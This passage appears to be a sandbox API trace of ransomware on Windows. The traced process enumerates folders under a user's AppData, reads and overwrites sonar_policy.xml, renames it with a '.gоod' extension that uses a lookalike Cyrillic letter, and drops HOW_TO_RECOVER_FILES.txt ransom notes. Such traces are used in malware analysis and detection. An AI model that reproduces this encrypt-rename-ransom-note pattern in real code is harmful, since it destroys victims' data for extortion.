lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0230.651] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0230.651] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.651] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0230.651] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0230.651] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0230.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0230.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0230.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0230.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", lpFilePart=0x0) returned 0x2b [0230.652] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0230.652] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.652] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0230.652] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.652] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0230.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0230.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0230.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0230.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0230.653] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0230.653] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.653] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0230.653] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.653] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0230.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0230.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0230.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0230.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpFilePart=0x0) returned 0x34 [0230.654] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0230.654] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.654] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0230.654] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0230.654] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0230.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0230.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0230.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpFilePart=0x0) returned 0x45 [0230.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0230.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), fInfoLevelId=0x0, lpFileInformation=0x3738848 | out: lpFileInformation=0x3738848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949)) returned 1 [0230.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0230.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpFilePart=0x0) returned 0x45 [0230.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0230.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0230.658] GetFileType (hFile=0x864) returned 0x1 [0230.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0230.658] GetFileType (hFile=0x864) returned 0x1 [0230.658] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0230.658] ReadFile (in: hFile=0x864, lpBuffer=0x3739850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3739850*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0230.659] CloseHandle (hObject=0x864) returned 1 [0230.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpFilePart=0x0) returned 0x45 [0230.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0230.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0230.659] GetFileType (hFile=0x864) returned 0x1 [0230.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0230.660] GetFileType (hFile=0x864) returned 0x1 [0230.660] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x4949 [0230.660] WriteFile (in: hFile=0x864, lpBuffer=0x373ce70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x373ce70*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0230.661] CloseHandle (hObject=0x864) returned 1 [0230.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpFilePart=0x0) returned 0x45 [0230.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0230.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0230.661] GetFileType (hFile=0x864) returned 0x1 [0230.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0230.661] GetFileType (hFile=0x864) returned 0x1 [0230.661] ReadFile (in: hFile=0x864, lpBuffer=0x3740ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x3740ff8*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0230.688] CloseHandle (hObject=0x864) returned 1 [0230.688] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpFilePart=0x0) returned 0x45 [0230.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0230.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0230.688] GetFileType (hFile=0x864) returned 0x1 [0230.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0230.688] GetFileType (hFile=0x864) returned 0x1 [0230.688] WriteFile (in: hFile=0x864, lpBuffer=0x373fd48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x373fd48*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0230.689] CloseHandle (hObject=0x864) returned 1 [0230.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", lpFilePart=0x0) returned 0x45 [0230.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.gоod", lpFilePart=0x0) returned 0x4a [0230.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0230.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x85b6cd25, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4959)) returned 1 [0230.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0230.689] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml.gоod")) returned 1 [0230.690] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0230.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0230.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.690] GetFileType (hFile=0x864) returned 0x1 [0230.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0230.690] GetFileType (hFile=0x864) returned 0x1 [0230.691] WriteFile (in: hFile=0x864, lpBuffer=0x37c0ba0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37c0ba0*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0230.692] CloseHandle (hObject=0x864) returned 1 [0230.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0230.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0230.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.692] GetFileType (hFile=0x864) returned 0x1 [0230.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0230.692] GetFileType (hFile=0x864) returned 0x1 [0230.693] WriteFile (in: hFile=0x864, lpBuffer=0x37c4408*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x37c4408*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0230.694] CloseHandle (hObject=0x864) returned 1 [0230.694] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0230.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0230.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.695] GetFileType (hFile=0x864) returned 0x1 [0230.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0230.695] GetFileType (hFile=0x864) returned 0x1 [0230.695] WriteFile (in: hFile=0x864, lpBuffer=0x37c7c50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x37c7c50*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0230.848] CloseHandle (hObject=0x864) returned 1 [0230.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0230.848] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0230.848] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0230.848] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.849] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, 